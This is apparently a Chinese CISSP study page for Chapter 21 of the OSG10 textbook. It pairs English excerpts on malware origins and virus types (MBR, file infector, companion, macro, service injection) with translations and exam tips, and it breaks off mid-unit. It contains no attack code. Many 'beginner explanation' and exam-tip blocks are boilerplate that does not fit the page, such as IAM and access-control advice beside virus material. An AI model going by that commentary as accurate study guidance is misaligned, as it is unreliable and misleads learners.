OSG10 · Chapter 21 · Malicious Code and Application Attacks · 全文覆盖 + 小白精读 + 画报

第 21 章:恶意代码和应用攻击

这不是提炼版。本页按 PDF 第 1395-1579 页连续覆盖第 21 章内容,每个学习单元都包含教材原文段落、PDF 中文直译/整理、小白解释、考点提醒和对应画报。

185个连续学习单元
4格原文 / 直译 / 解释 / 考点
185页覆盖第21章正文与章末练习
小白先讲人话,再做题
学习单元 01 / PDF P1395

本章考试范围总览

先知道本章会覆盖哪些考试目标,后面每个概念才知道放在哪个知识域。

教材原文段落

Chapter 21 Malicious Code and Application Attacks THE CISSP TOPICS COVERED IN THIS CHAPTER INCLUDE: Domain 3.0: Security Architecture and Engineering 3.7 Understand methods of cryptanalytic attacks 3.7.13 Ransomware Domain 7.0: Security Operations 7.2 Conduct logging and monitoring activities 7.2.7 User and Entity Behavior Analytics (UEBA) 7.7 Operate and maintain detection and preventative measures 7.7.7 Anti-malware Domain 8.0: Software Development Security 8.2 Identify and apply security controls in software development ecosystems 8.3 Assess the effectiveness of software security 8.3.2 Risk analysis and mitigation 8.5 Define and apply secure coding guidelines and standards 8.5.1 Security weaknesses and vulnerabilities at the sourcecode level In Chapter 20, “Software Development Security,” you learned about secure software development techniques and the importance of building code that is resilient to attack.

In some cases, malicious software developers use their skills to develop malicious software (malware) that carries out unauthorized activity. Other experts may use their knowledge of application security to attack client-based and web-based applications. It's crucial that information security professionals understand these risks.

中文直译 / 整理

第21章 恶意代码和应用程序攻击 本章涵盖的CISSP主题包括: 领域3.0:安全架构与工程 3.7 理解密码分析攻击的方法 3.7.13 勒索软件 域 7.0:安全运营 7.2 执行日志记录和监控活动 7.2.7 用户和实体行为分析(UEBA) 7.7 操作和维护检测与预防措施 7.7.7 反恶意软件 域 8.0:软件开发安全 8.2 识别并应用软件开发生态系统中的安全控制措施 8.3 评估软件安全性 8.3.2 风险分析与缓解 8.5 定义并应用安全编码指南和标准 8.5.1 源代码级别的安全弱点和漏洞 在 第20章,“软件开发安全”中,您学习了安全软件开发技术以及构建抗攻 击代码的重要性。 在某些情况下,恶意软件开发人员会利用他们的技能开发执 行未经授权活动的恶意软件(恶意软件)。 其他专家可能利用他们对应用安全 的知识来攻击基于客户端和基于Web的应用程序。 信息安全部门的专业人员必 须了解这些风险。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:先知道本章会覆盖哪些考试目标,后面每个概念才知道放在哪个知识域。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

授权:授权是认证之后决定你能访问什么、能做什么。

标准:标准给出必须满足的最低要求。

指南:指南是建议做法,不一定强制。

程序:程序是一步一步怎么做。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“本章考试范围总览”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

认证成功不等于什么都能做;权限仍要单独授权。

Minimum level、mandatory requirement 常对应 standard。

Recommended、not compulsory 常对应 guideline。

Step-by-step、SOP 常对应 procedure。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
授权 授权是认证之后决定你能访问什么、能做什么。
标准 标准给出必须满足的最低要求。
指南 指南是建议做法,不一定强制。
程序 程序是一步一步怎么做。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 02 / PDF P1396

第 1396 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

This material is not only critical for the CISSP exam; it's also some of the most basic information a computer security professional must understand to effectively practice their trade. We'll begin this chapter by looking at the risks posed by malicious code objects—viruses, worms, logic bombs, and Trojan horses. We'll then take a look at some of the other security exploits used by someone attempting to gain unauthorized access to a system or to prevent legitimate users from gaining such access.

Malware Malware includes a broad range of software threats that exploit various network, operating system, software, and physical security vulnerabilities to spread malicious payloads to computer systems. Some malicious code objects, such as computer viruses and Trojan horses, depend on uninformed or irresponsible computer use by humans in order to spread from system to system with any success. Other objects, such as worms, spread rapidly among vulnerable systems under their own power.

All information security practitioners must be familiar with the risks posed by the various types of malicious code objects so that they can develop adequate countermeasures to protect the systems under their care as well as implement appropriate responses if their systems are compromised. Before we dive into the different types of malicious code that exist in the world, it's important to recognize that these distinctions have very blurry lines. It's quite common for the same piece of malware to exhibit characteristics from several different categories, making it difficult to fit malware into distinct buckets. Sources of Malicious Code Where does malicious code come from?

In the early days of computer security, malicious code writers were extremely skilled (albeit misguided) software developers who took pride in carefully crafting innovative malicious code techniques. Indeed, they actually served a somewhat useful function by exposing security holes in popular software packages and operating systems, raising the security awareness of the computing community. For an example

中文直译 / 整理

该材料不仅对CISSP考试至关重要,而且也是计算机安全专业人员有效开展工 作必须理解的最基本信息之一。 本章我们将首先探讨恶意代码对象——病毒、 蠕虫、逻辑炸弹和特洛伊木马——所带来的风险。 随后,我们将考察其他一些 被试图非法访问系统或阻止合法用户访问系统的攻击者所使用的安全漏洞。 恶意软件 恶意软件包括一系列广泛存在的软件威胁,它们利用各种网络、操作系统、软 件和物理安全漏洞,将恶意负载传播到计算机系统中。 一些恶意代码对象,例 如计算机病毒和特洛伊木马,需要人类的无知或不负责任的计算机使用行为才 能成功地在系统间传播。 而其他对象,如蠕虫,则能够凭借自身能力在易受攻 击的系统间迅速传播。 所有信息安全从业者都必须熟悉各种恶意代码对象所带来的风险,以便制定充 分的应对措施来保护其所负责的系统,并在系统遭受入侵时实施适当的响应。 在深入了解世界上存在的各种恶意代码类型之前,重要的是要认识到 这些分类之间的界限非常模糊。 同一段恶意代码通常会表现出多个不同类 别的特征,因此很难将恶意代码明确归入单一类别。 恶意代码的来源 恶意代码来自何处?

在计算机安全的早期,恶意代码编写者是极其熟练(尽管 misguided)的软件开发人员,他们以精心设计创新的恶意代码技术为荣。 事 实上,他们通过揭示流行软件包和操作系统中的安全漏洞,在一定程度上发挥 了有益的作用,提高了计算社区的安全意识。 例如

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

日志:日志记录系统和用户活动,用于监控、审计和调查。

恶意代码:恶意代码包括病毒、蠕虫、木马、勒索软件等。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1396 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

网络题先定位层次,再判断协议、设备或攻击位置。

日志要保护完整性、时间同步和访问控制。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 03 / PDF P1397

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

of this type of code writer, see the sidebar “RTM and the Internet Worm,” later in this chapter. Modern times have given rise to the script kiddie—the malicious individual who doesn't understand the technology behind security vulnerabilities but downloads ready-to-use software (or scripts) from the Internet and uses them to launch attacks against remote systems. This trend has given birth to a new breed of virus-creation software that allows anyone with a minimal level of technical expertise to create a virus and unleash it upon the Internet. This is reflected in the large number of viruses documented by antivirus experts to date.

The amateur malicious code developers are usually just experimenting with a new tool they downloaded or attempting to cause problems for one or two enemies. Unfortunately, the malware sometimes spreads rapidly and creates problems for internet users in general. In addition, the tools used by script kiddies are freely available to those with more sinister criminal intent. Indeed, international organized crime syndicates are known to play a role in malware proliferation. These criminals, located in countries with weak law enforcement mechanisms, use malware to steal the money and identities of people from around the world, especially residents of the United States.

In fact, the Zeus Trojan horse was widely believed to be the product of an Eastern European organized crime ring seeking to infect as many systems as possible to log keystrokes and harvest online banking passwords. Zeus first surfaced in 2007 but continues to be updated and found in new variants today. The most recent trend in malware development comes with the rise of the advanced persistent threat (APT). APTs are sophisticated adversaries with advanced technical skills and significant financial resources. These attackers are often military units, intelligence agencies, or shadowy groups that are likely affiliated with government agencies.

One of the key differences between APT attackers and other malware authors is that these malware developers often have access to zero-day exploits that are not known to software vendors. Because the vendor is not aware of the vulnerability, there is no patch, and the exploit is highly effective. Malware built by APTs is highly targeted, designed to impact only a small number of adversary systems (often as small as one), and difficult to defeat. You'll read later in this chapter about Stuxnet, one example of APT-developed malware. Viruses

中文直译 / 整理

这类代码编写者的例子,请参见本章后面的侧边栏“RTM 与互联网蠕虫”。 现代社会催生了脚本小子——这类恶意个体并不理解安全漏洞背后的技术,却 从互联网下载现成的软件(或脚本)来攻击远程系统。 这一趋势催生了一种新 型病毒创建软件,使得任何具备最低技术水平的人都能创建病毒并将其释放到 互联网上。 这一点体现在反病毒专家迄今为止记录的大量病毒中。 这些业余的 恶意代码开发者通常只是在尝试他们下载的新工具,或试图给一两个敌人制造 麻烦。 不幸的是,恶意软件有时会迅速传播,给广大互联网用户带来问题。 此外,脚本小子所使用的工具也免费提供给那些具有更恶劣犯罪意图的人。 事 实上,已知国际有组织犯罪集团在恶意软件传播中扮演了角色。 这些犯罪分子 位于执法机制薄弱的国家,利用恶意软件窃取全球各地人士的钱财和身份信息, 尤其是美国居民。 事实上,Zeus特洛伊木马被广泛认为是东欧有组织犯罪集团 的产物,该集团旨在感染尽可能多的系统,以记录键盘输入并窃取在线银行密 码。 Zeus首次出现于2007年,但至今仍在不断更新,并不断出现新的变种。 恶意软件开发的最新趋势伴随着高级持续性威胁(APT)的兴起而来。

APT是 具有高超技术能力和雄厚资金支持的复杂对手。 这些攻击者通常是军事单位、 情报机构或与政府机构有关联的隐秘组织。 APT攻击者与其他恶意软件作者的 关键区别之一在于,这些恶意软件开发者通常能够访问软件供应商尚未知晓的 零日漏洞。 由于供应商对这一漏洞毫不知情,因此没有补丁可用,该漏洞的利 用效果极为高效。 APT开发的恶意软件具有高度针对性,旨在仅影响少量敌对 系统(有时甚至只有一个),且难以防范。 在本章后续内容中,您将了解到震 网病毒,这是APT开发的恶意软件的一个例子。 病毒

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

NIST:NIST 提供美国常用安全标准、框架和指南。

身份:身份是主体在系统中的标识。

日志:日志记录系统和用户活动,用于监控、审计和调查。

恶意代码:恶意代码包括病毒、蠕虫、木马、勒索软件等。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

身份管理题要区分识别、认证、授权、审计。

日志要保护完整性、时间同步和访问控制。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
NIST NIST 提供美国常用安全标准、框架和指南。
身份 身份是主体在系统中的标识。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 04 / PDF P1398

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

The computer virus is perhaps the earliest form of malicious code to plague security administrators. Indeed, viruses are so prevalent nowadays that major outbreaks receive attention from the mass media and provoke mild hysteria among average computer users. According to statistics compiled by AV-Test, an independent cybersecurity research organization, there were over 1.347 billion strains of malicious code roaming the global network since1984, and this trend only continues with 5,900,949 new malware appearing on the Internet in the first two weeks of 2024! Hundreds of thousands of variations of these viruses strike unsuspecting computer users each day.

Many carry malicious payloads that cause damage, ranging in scope from displaying a profane message on the screen all the way to causing complete destruction of all data stored on the local hard drive. Like biological viruses, computer viruses have two main functions— propagation and payload execution. Miscreants who create viruses carefully design code to implement these functions in new and innovative methods that they hope escape detection and bypass increasingly sophisticated antivirus technology. It's fair to say that an arms race has developed between virus writers and antivirus technicians, each hoping to develop technology one step ahead of the other.

The propagation function defines how the virus will spread from system to system, infecting each machine it leaves in its wake. A virus's payload delivers whatever malicious activity the virus writer had in mind. This could be anything that negatively impacts the confidentiality, integrity, or availability of systems or data. Virus Propagation Techniques By definition, a virus must contain technology that enables it to spread from system to system, aided by unsuspecting computer users seeking to share data by exchanging disks, sharing networked resources, sending email, or using some other means.

Once they've “touched” a new system, they use one of several propagation techniques to infect the new victim and expand their reach. In this section, we'll look at four common propagation techniques: Master Boot Record Viruses The master boot record (MBR) virus is one of the earliest known forms of virus infection. These viruses attack the MBR —the portion of bootable media (such as a hard disk or flash drive) that the computer uses to load the operating system during the boot process. Because the MBR is extremely small (usually 512 bytes), it can't contain all the code required to implement the virus's propagation and destructive functions.

To bypass this space limitation, MBR viruses store the majority of their code on

中文直译 / 整理

计算机病毒或许是最早困扰安全管理员的恶意代码形式。 事实上,如今病毒如 此普遍,重大疫情甚至会引发主流媒体的关注,并令普通计算机用户产生轻微 恐慌。 根据独立网络安全研究组织AV‑Test统计的数据,自1984年以来,全球 网络上已出现超过13.47亿种恶意代码,而这一趋势仍在持续——仅在2024年的 前两周,互联网上就出现了5,900,949种新型恶意软件! 每天都有数十万种病毒 变种袭击毫无防备的计算机用户。 许多病毒携带恶意有效载荷,造成的损害范 围从在屏幕上显示粗俗信息,到彻底摧毁本地硬盘上存储的所有数据不等。 与生物病毒类似,计算机病毒具有两大主要功能——传播和有效载荷执行。 病 毒创作者精心设计代码,以新颖且创新的方式实现这些功能,希望逃避检测并 绕过日益复杂的反病毒技术。 可以说,病毒编写者与反病毒技术人员之间已形 成一场军备竞赛,双方都希望开发出领先对方一步的技术。 传播功能定义了病 毒如何从一个系统传播到另一个系统,在其留下的每个机器上进行感染。 病毒 的有效载荷则实现病毒编写者所设想的任何恶意活动,可能对系统的机密性、 完整性或可用性造成任何负面影响。

病毒传播技术 根据定义,病毒必须包含使其能够在系统间传播的技术,这一过程通常借助不 知情的计算机用户通过交换磁盘、共享网络资源、发送电子邮件或其他方式共 享数据来实现。 一旦它们“接触”到新系统,便会使用多种传播技术之一感染 新目标并扩大其影响范围。 在本节中,我们将介绍四种常见的传播技术: 主引导记录病毒 主引导记录(MBR)病毒 是最早已知的病毒感染形式之一。 这些病毒攻击 MBR——即计算机在启动过程中用于加载操作系统的可启动介质 (如硬盘或闪存驱动器)的一部分。 由于 MBR 非常小(通常为 512 字节), 它无法包含实现病毒传播和破坏功能所需的所有代码。 为了绕过这一空间限制, MBR 病毒将大部分代码存储在

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

可用性:可用性保证授权用户需要时能及时使用系统和数据。

NIST:NIST 提供美国常用安全标准、框架和指南。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

政府/军方、机密级别、标签、不可由用户随意改通常是 MAC。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
可用性 可用性保证授权用户需要时能及时使用系统和数据。
NIST NIST 提供美国常用安全标准、框架和指南。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 05 / PDF P1399

第 1399 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

another portion of the storage media. When the system reads the infected MBR, the virus instructs it to read and execute the code stored in this alternate location, thereby loading the entire virus into memory and potentially triggering the delivery of the virus's payload. The Boot Sector and the Master Boot Record You'll often see the terms boot sector and master boot record used interchangeably to describe the portion of a storage device used to load the operating system and the types of viruses that attack that process. This is not technically correct. The MBR is a single disk sector, normally the first sector of the media that is read in the initial stages of the boot process.

The MBR determines which media partition contains the operating system and then directs the system to read that partition's boot sector to load the operating system. Viruses can attack both the MBR and the boot sector, with substantially similar results. MBR viruses act by redirecting the system to an infected boot sector, which loads the virus into memory before loading the operating system from the legitimate boot sector. Boot sector viruses actually infect the legitimate boot sector and are loaded into memory during the operating system load process. Most MBR viruses are spread between systems through the use of infected media inadvertently shared between users.

If the infected media is in the drive during the boot process, the target system reads the infected MBR, and the virus loads into memory, infects the MBR on the target system's hard drive, and spreads its infection to yet another machine. Many different controls protect against MBR viruses, including the use of a Trusted Platform Module (TPM) and other secure boot technologies. Those were discussed in Chapter 9, “Security Vulnerabilities, Threats, and Countermeasures.” File Infector Viruses Many viruses infect different types of executable files and trigger when the operating system attempts to execute them.

For Windows-based systems, file infector viruses commonly affect executable files and scripts, such as those ending with .exe, .com, and .msc extensions. The propagation routines of file infector viruses may slightly alter the code of an executable program, thereby implanting the technology the virus needs to replicate and damage the system. In some cases, the virus might actually replace the entire file with an infected version. Standard file infector viruses

中文直译 / 整理

存储介质的另一部分。 当系统读取被感染的 MBR 时,病毒会指示其读取并 执行存储在此备用位置的代码,从而将整个病毒加载到内存中,并可能触 发病毒的有效载荷。 引导扇区和主引导记录 您经常会看到术语 引导扇区 和 主引导记录 被互换使用,以描述用于加载 操作系统以及攻击该过程的病毒的存储设备部分。 这在技术上是不正确的。 MBR 是一个单独的磁盘扇区,通常是启动过程初期读取的媒体的第一个扇 区。 MBR 确定哪个磁盘分区包含操作系统,然后引导系统读取该分区的引 导扇区以加载操作系统。 病毒可以攻击 MBR 和引导扇区,其结果基本相似。 MBR 病毒通过将系 统重定向到被感染的引导扇区来发挥作用,该扇区在从合法引导扇区加载 操作系统之前将病毒加载到内存中。 引导扇区病毒则直接感染合法的引导 扇区,并在操作系统加载过程中被加载到内存中。 大多数 MBR 病毒通过用户之间无意共享的受感染介质在系统间传播。 如果在 启动过程中受感染的介质位于驱动器中,目标系统将读取受感染的 MBR,病 毒将加载到内存中,感染目标系统硬盘上的 MBR,并将其感染传播到另一台 机器。

许多不同的控制措施可防范 MBR 病毒,包括使用可信平台模块( TPM)和其他安全启动技术。 这些内容已在 第 9 章“安全漏洞、威胁与对策” 中讨论过。 文件感染型病毒 许多病毒会感染不同类型的可执行文件,并在操作系统尝试执 行它们时触发。 对于基于Windows的系统,文件感染型病毒通常会影响可执行 文件和脚本,例如以.exe、.com和.msc为扩展名的文件。 文件感染型病毒的传播 机制可能会轻微修改可执行程序的代码,从而植入病毒复制和破坏系统所需的技 术。 在某些情况下,病毒甚至可能用感染版本完全替换整个文件。 标准的文件感 染型病毒

小白解释

场景先行:凌晨监控告警:某台服务器开始大量外连。你不能先忙着写报告,也不能直接关全网。事件响应要按顺序做:确认、遏制、根除、恢复、复盘。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:步骤乱了会扩大损失,或者破坏证据。

你作为负责人可以这样想:先保全证据和控制影响,再清除原因并恢复业务。

本页术语用人话说:

标准:标准给出必须满足的最低要求。

程序:程序是一步一步怎么做。

强制访问控制 MAC:MAC 由系统根据标签和级别强制决定访问。

日志:日志记录系统和用户活动,用于监控、审计和调查。

常见误区:不要一上来就删除文件或重装系统;可能会破坏调查证据。

读完后用一句话复述:如果我是事件响应负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1399 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是事件响应负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Minimum level、mandatory requirement 常对应 standard。

Step-by-step、SOP 常对应 procedure。

政府/军方、机密级别、标签、不可由用户随意改通常是 MAC。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要一上来就删除文件或重装系统;可能会破坏调查证据。

本页术语拆解
标准 标准给出必须满足的最低要求。
程序 程序是一步一步怎么做。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 06 / PDF P1400

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

that do not use cloaking techniques such as stealth or encryption (see the section “Virus Technologies,” later in this chapter) are often easily detected by comparing file characteristics (such as size and modification date) before and after infection or by comparing hash values. The section “Anti-malware Software” provides technical details of these techniques. A variation of the file infector virus is the companion virus. These viruses are self-contained executable files that escape detection by using a filename similar to, but slightly different from, a legitimate operating system file.

They rely on the default filename extensions that Windows-based operating systems append to commands when executing program files (.com, .exe, and .bat, in that order). For example, if you had a program on your hard disk named game.exe, a companion virus might use the name game.com. If you then open a command prompt and simply type GAME, the operating system would execute the virus file, game.com, instead of the file you actually intended to execute, game.exe. This is a very good reason to avoid shortcuts and fully specify the name of the file you want to execute.

Macro Viruses Many common software applications implement some sort of scripting functionality to assist with the automation of repetitive tasks. These functionalities often use simple yet powerful programming languages such as Visual Basic for Applications (VBA). Although macros do indeed offer great productivity-enhancing opportunities to computer users, they also expose systems to yet another avenue of infection—macro viruses. Macro viruses first appeared on the scene in the mid-1990s, utilizing rudimentary technologies to infect documents created in the popular Microsoft Word environment.

Although they were relatively unsophisticated, these viruses spread rapidly because the antivirus community didn't anticipate them, and therefore antivirus applications didn't provide any defense against them. Macro viruses quickly became more and more commonplace, and vendors rushed to modify their antivirus platforms to scan application documents for malicious macros. In 1999, the Melissa virus spread through the use of a Word document that exploited a security vulnerability in Microsoft Outlook to replicate.

The infamous I Love You virus quickly followed on its heels, exploiting similar vulnerabilities in early 2000, showing us that fast-spreading viruses have plagued us for over 20 years.

中文直译 / 整理

不使用隐蔽技术(如潜伏或加密,参见本章后续的“病毒技术”部分)的病 毒,通常可以通过比较感染前后文件特征(如大小和修改日期)或比较哈希 值来轻松检测。 有关这些技术的技术细节,请参见“反恶意软件”部分。 文件感染病毒的一种变体是伴随病毒。 这些病毒是自包含的可执行文件,通过 使用与合法操作系统文件相似但略有不同的文件名来逃避检测。 它们依赖于基 于Windows的操作系统在执行程序文件时附加的默认文件扩展名(按顺序为. com、.exe和.bat)。 例如,如果您的硬盘上有一个名为game.exe的程序,一个 伴随病毒可能会使用名称game.com。 如果您随后打开命令提示符并仅输入GAME, 操作系统将执行病毒文件game.com,而不是您实际想要执行的文件game.exe。 这是避免使用快捷方式并完全指定要执行的文件名称的充分理由。 宏病毒 许多常见的软件应用程序都实现了某种脚本功能,以帮助自动化重复性任 务。 这些功能通常使用简单而强大的编程语言,例如Visual Basic for Applications(VBA)。 尽管宏确实为计算机用户提供了极大的生产力提升机会, 但它们也使系统面临另一种感染途径——宏病毒。

宏病毒最早出现在20世纪90年代中期,利用原始的技术感染在流行的 Microsoft Word环境中创建的文档。 尽管这些病毒相对简单,但由于防病毒 社区未能预料到它们的存在,因此防病毒应用程序未能提供任何防护,导致它 们迅速传播。 宏病毒很快变得越来越普遍,厂商们急忙修改其防病毒平台,以 扫描应用程序文档中的恶意宏。 1999年,Melissa病毒通过一个利用 Microsoft Outlook安全漏洞进行复制的Word文档传播。 臭名昭著的“ ILOVEYOU”病毒紧随其后,在2000年初利用类似的漏洞传播,向我们展示 了快速传播的病毒已经困扰我们超过20年。

小白解释

场景先行:财务要把合同发给供应商:不想被别人看懂,要加密;不想被人改金额,要校验完整性;不想对方抵赖,要签名和证书。密码学不是炫技,是解决这些业务信任问题。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:把加密、哈希、签名混在一起,会导致控制目标错位。

你作为负责人可以这样想:机密性用加密,完整性用哈希/签名,身份信任用证书和 PKI。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

程序:程序是一步一步怎么做。

哈希:哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。

强制访问控制 MAC:MAC 由系统根据标签和级别强制决定访问。

常见误区:哈希不是加密;签名也不是为了隐藏内容。

读完后用一句话复述:如果我是系统架构师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是系统架构师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Step-by-step、SOP 常对应 procedure。

哈希本身不提供机密性;它主要用于完整性校验。

政府/军方、机密级别、标签、不可由用户随意改通常是 MAC。

日志要保护完整性、时间同步和访问控制。

排除法提醒:哈希不是加密;签名也不是为了隐藏内容。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
程序 程序是一步一步怎么做。
哈希 哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 07 / PDF P1401

第 1401 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Macro viruses proliferate because of the ease of writing code in the scripting languages (such as VBA) used by modern productivity applications. After a rash of macro viruses in the late part of the 20th century, productivity software developers made important changes to the macro development environment, restricting the ability of untrusted macros to run without explicit user permission. This resulted in a drastic reduction in the prevalence of macro viruses.

Service Injection Viruses Recent outbreaks of malicious code use yet another technique to infect systems and escape detection—injecting themselves into trusted runtime processes of the operating system, such as svchost.exe, winlogon.exe, and explorer.exe. By successfully compromising these trusted processes, the malicious code is able to bypass detection by any antivirus software running on the host. One of the best techniques to protect systems against service injection is to ensure that all software allowing the viewing of web content (e.g., browsers, media players, helper applications) receives current security patches.

Virus Technologies As virus detection and eradication technology rises to meet new threats programmed by malicious developers, new kinds of viruses designed to defeat those systems emerge. This section examines four specific types of viruses that use sneaky techniques in an attempt to escape detection: Multipartite Viruses Multipartite viruses use more than one propagation technique in an attempt to penetrate systems that defend against only one method or the other. For example, a virus might infect critical COM and EXE files by adding malicious code to each file. This characteristic qualifies it as a file infector virus.

Then the same virus might write malicious code to the system's master boot record, qualifying it as a boot sector virus. Stealth Viruses Stealth viruses hide themselves by actually tampering with the operating system to fool antivirus packages into thinking that everything is functioning normally. For example, a stealth boot sector virus might overwrite the system's master boot record with malicious code but then also modify the operating system's file access functionality to cover its

中文直译 / 整理

